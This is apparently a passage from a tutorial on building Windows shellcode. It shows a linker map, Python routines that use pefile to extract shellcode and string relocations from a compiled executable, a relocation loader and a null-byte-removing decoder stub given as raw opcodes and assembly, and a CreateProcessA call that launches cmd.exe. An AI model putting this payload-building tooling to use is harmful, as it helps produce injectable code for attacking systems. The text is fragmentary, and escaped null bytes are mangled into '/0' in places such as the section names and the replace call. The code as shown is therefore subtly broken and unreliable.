0002:00000264 00000000H .edata                  DATA  0002:00000264 00000028H .idata$2                DATA  0002:0000028c 00000014H .idata$3                DATA  0002:000002a0 00000094H .idata$4                DATA  0002:00000334 0000027eH .idata$6                DATA  0003:00000000 00000020H .data                   DATA  0003:00000020 00000364H .bss                    DATA  0004:00000000 00000058H .rsrc$01                DATA  0004:00000060 00000180H .rsrc$02                DATA    Address         Publics by Value              Rva+Base       Lib:Object   0000:00000000       ___guard_fids_table        00000000     <absolute>  0000:00000000       ___guard_fids_count        00000000     <absolute>  0000:00000000       ___guard_flags             00000000     <absolute>  0000:00000001       ___safe_se_handler_count   00000001     <absolute>  0000:00000000       ___ImageBase               00400000     <linker-defined>  0001:00000000       ?entryPoint@@YAHXZ         00401000 f   shellcode.obj  0001:000001a1       ?getHash@@YAKPBD@Z         004011a1 f   shellcode.obj  0001:000001be       ?getProcAddrByHash@@YAPAXK@Z 004011be f   shellcode.obj  0001:00000266       _main                      00401266 f   shellcode.obj  0001:000004d4       _mainCRTStartup            004014d4 f   MSVCRT:crtexe.obj  0001:000004de       ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z 004014de f   MSVCRT:unhandld.obj  0001:0000051f       ___CxxSetUnhandledExceptionFilter 0040151f f   MSVCRT:unhandld.obj  0001:0000052e       __XcptFilter               0040152e f   MSVCRT:MSVCR120.dll <snip> 

Start         Length     Name                   Class 0001:00000000 00000a9cH .text$mn                CODE 

def get_shellcode_len(map_file):     '''     Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)     '''     try:         with open(map_file, 'r') as f:             lib_object = None             shellcode_len = None             for line in f:                 parts = line.split()                 if lib_object is not None:                     if parts[-1] == lib_object:                         raise Exception('_main is not the last function of %s' % lib_object)                     else:                         break                 elif (len(parts) > 2 and parts[1] == '_main'):                     # Format:                     # 0001:00000274  _main   00401274 f   shellcode.obj                     shellcode_len = int(parts[0].split(':')[1], 16)                     lib_object = parts[-1]               if shellcode_len is None:                 raise Exception('Cannot determine shellcode length')     except IOError:         print('[!] get_shellcode_len: Cannot open "%s"' % map_file)         return None     except Exception as e:         print('[!] get_shellcode_len: %s' % e.message)         return None       return shellcode_len 

def get_shellcode_and_relocs(exe_file, shellcode_len):     '''     Extracts the shellcode from the .text section of the file exe_file and the string     relocations.     Returns the triple (shellcode, relocs, addr_to_strings).     '''     try:         # Extracts the shellcode.         pe = pefile.PE(exe_file)         shellcode = None         rdata = None         for s in pe.sections:             if s.Name == '.text/0/0/0':                 if s.SizeOfRawData < shellcode_len:                     raise Exception('.text section too small')                 shellcode_start = s.VirtualAddress                 shellcode_end = shellcode_start + shellcode_len                 shellcode = pe.get_data(s.VirtualAddress, shellcode_len)             elif s.Name == '.rdata/0/0':                 <snip>           if shellcode is None:             raise Exception('.text section not found')         if rdata is None:             raise Exception('.rdata section not found') <snip> 

My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo); 

00241152 50                   push        eax   00241153 8D 44 24 5C          lea         eax,[esp+5Ch]   00241157 C7 84 24 88 00 00 00 00 01 00 00 mov         dword ptr [esp+88h],100h   00241162 50                   push        eax   00241163 52                   push        edx   00241164 52                   push        edx   00241165 52                   push        edx   00241166 6A 01                push        1   00241168 52                   push        edx   00241169 52                   push        edx   0024116A 68 18 21 24 00       push        242118h         <------------------------ 0024116F 52                   push        edx   00241170 89 B4 24 C0 00 00 00 mov         dword ptr [esp+0C0h],esi   00241177 89 B4 24 BC 00 00 00 mov         dword ptr [esp+0BCh],esi   0024117E 89 B4 24 B8 00 00 00 mov         dword ptr [esp+0B8h],esi   00241185 FF 54 24 34          call        dword ptr [esp+34h] 

56A: 68 18 21 40 00           push        000402118h 

def get_shellcode_and_relocs(exe_file, shellcode_len):     '''     Extracts the shellcode from the .text section of the file exe_file and the string     relocations.     Returns the triple (shellcode, relocs, addr_to_strings).     '''     try:         # Extracts the shellcode.         pe = pefile.PE(exe_file)         shellcode = None         rdata = None         for s in pe.sections:             if s.Name == '.text/0/0/0':                 <snip>             elif s.Name == '.rdata/0/0':                 rdata_start = s.VirtualAddress                 rdata_end = rdata_start + s.Misc_VirtualSize                 rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)           if shellcode is None:             raise Exception('.text section not found')         if rdata is None:             raise Exception('.rdata section not found') 

# Extracts the relocations for the shellcode and the referenced strings in .rdata.         relocs = []         addr_to_strings = {}         for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:             for entry in rel_data.entries[:-1]:         # the last element's rvs is the base_rva (why?)                 if shellcode_start <= entry.rva < shellcode_end:                     # The relocation location is inside the shellcode.                     relocs.append(entry.rva - shellcode_start)      # offset relative to the start of shellcode                     string_va = pe.get_dword_at_rva(entry.rva)                     string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase                     if string_rva < rdata_start or string_rva >= rdata_end:                         raise Exception('shellcode references a section other than .rdata')                     str = get_cstring(rdata, string_rva - rdata_start)                     if str is None:                         raise Exception('Cannot extract string from .rdata')                     addr_to_strings[string_va] = str           return (shellcode, relocs, addr_to_strings) 

def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):     if len(relocs) == 0:         return shellcode                # there are no relocations       # The format of the new shellcode is:     #       call    here     #   here:     #       ...     #   shellcode_start:     #       <shellcode>         (contains offsets to strX (offset are from "here" label))     #   relocs:     #       off1|off2|...       (offsets to relocations (offset are from "here" label))     #       str1|str2|...       delta = 21                                      # shellcode_start - here       # Builds the first part (up to and not including the shellcode).     x = dword_to_bytes(delta + len(shellcode))     y = dword_to_bytes(len(relocs))     code = [         0xE8, 0x00, 0x00, 0x00, 0x00,               #   CALL here                                                     # here:         0x5E,                                       #   POP ESI         0x8B, 0xFE,                                 #   MOV EDI, ESI         0x81, 0xC6, x[0], x[1], x[2], x[3],         #   ADD ESI, shellcode_start + len(shellcode) - here         0xB9, y[0], y[1], y[2], y[3],               #   MOV ECX, len(relocs)         0xFC,                                       #   CLD                                                     # again:         0xAD,                                       #   LODSD         0x01, 0x3C, 0x07,                           #   ADD [EDI+EAX], EDI         0xE2, 0xFA                                  #   LOOP again                                                     # shellcode_start:     ]       # Builds the final part (offX and strX).     offset = delta + len(shellcode) + len(relocs) * 4           # offset from "here" label     final_part = [dword_to_string(r + delta) for r in relocs]     addr_to_offset = {}     for addr in addr_to_strings.keys():         str = addr_to_strings[addr]         final_part.append(str)         addr_to_offset[addr] = offset         offset += len(str)       # Fixes the shellcode so that the pointers referenced by relocs point to the     # string in the final part.     byte_shellcode = [ord(c) for c in shellcode]     for off in relocs:         addr = bytes_to_dword(byte_shellcode[off:off+4])         byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])       return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part) 

CALL here                   ; PUSH EIP+5; JMP here   here:     POP ESI                     ; ESI = address of "here"     MOV EDI, ESI                ; EDI = address of "here"     ADD ESI, shellcode_start + len(shellcode) - here        ; ESI = address of off1     MOV ECX, len(relocs)        ; ECX = number of locations to fix     CLD                         ; tells LODSD to go forwards   again:     LODSD                       ; EAX = offX; ESI += 4     ADD [EDI+EAX], EDI          ; fixes location within shellcode     LOOP again                  ; DEC ECX; if ECX > 0 then JMP again   shellcode_start:     <shellcode>   relocs:     off1|off2|...     str1|str2|... 

ADD [EDI+EAX], EDI 

<snip>     if len(relocs) != 0:         print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))         print('Strings:')         for s in addr_to_strings.values():             print('  ' + s[:-1])         print('')         shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)     else:         print('No relocations found') <snip> 

1.get_fixed_shellcode_single_block 2.get_fixed_shellcode 

def get_fixed_shellcode_single_block(shellcode):     '''     Returns a version of shellcode without null bytes or None if the     shellcode can't be fixed.     If this function fails, use get_fixed_shellcode().     '''       # Finds one non-null byte not present, if any.     bytes = set([ord(c) for c in shellcode])     missing_bytes = [b for b in range(1, 256) if b not in bytes]     if len(missing_bytes) == 0:         return None                             # shellcode can't be fixed     missing_byte = missing_bytes[0]       (xor1, xor2) = get_xor_values(len(shellcode))       code = [         0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4                                                             # here:         0xC0,                                               #   (FF)C0 = INC EAX         0x5F,                                               #   POP EDI         0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>         0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>         0x83, 0xC7, 29,                                     #   ADD EDI, shellcode_begin - here         0x33, 0xF6,                                         #   XOR ESI, ESI         0xFC,                                               #   CLD                                                             # loop1:         0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]         0x3C, missing_byte,                                 #   CMP AL, <missing byte>         0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI         0xAA,                                               #   STOSB         0xE2, 0xF6                                          #   LOOP loop1                                                             # shellcode_begin:     ]       return ''.join([chr(x) for x in code]) + shellcode.replace('/0', chr(missing_byte)) 

CALL $ + 4                                  ; PUSH "here"; JMP "here"-1 here:   (FF)C0 = INC EAX                            ; not important: just a NOP   POP EDI                                     ; EDI = "here"   MOV ECX, <xor value 1 for shellcode len>   XOR ECX, <xor value 2 for shellcode len>    ; ECX = shellcode length   ADD EDI, shellcode_begin - here             ; EDI = absolute address of original shellcode   XOR ESI, ESI                                ; ESI = 0   CLD                                         ; tells STOSB to go forwards loop1:   MOV AL, BYTE PTR [EDI]                      ; AL = current byte of the shellcode   CMP AL, <missing byte>                      ; is AL the special byte?   CMOVE EAX, ESI                              ; if AL is the special byte, then EAX = 0   STOSB                                       ; overwrite the current byte of the shellcode with AL   LOOP loop1                                  ; DEC ECX; if ECX > 0 then JMP loop1 shellcode_begin: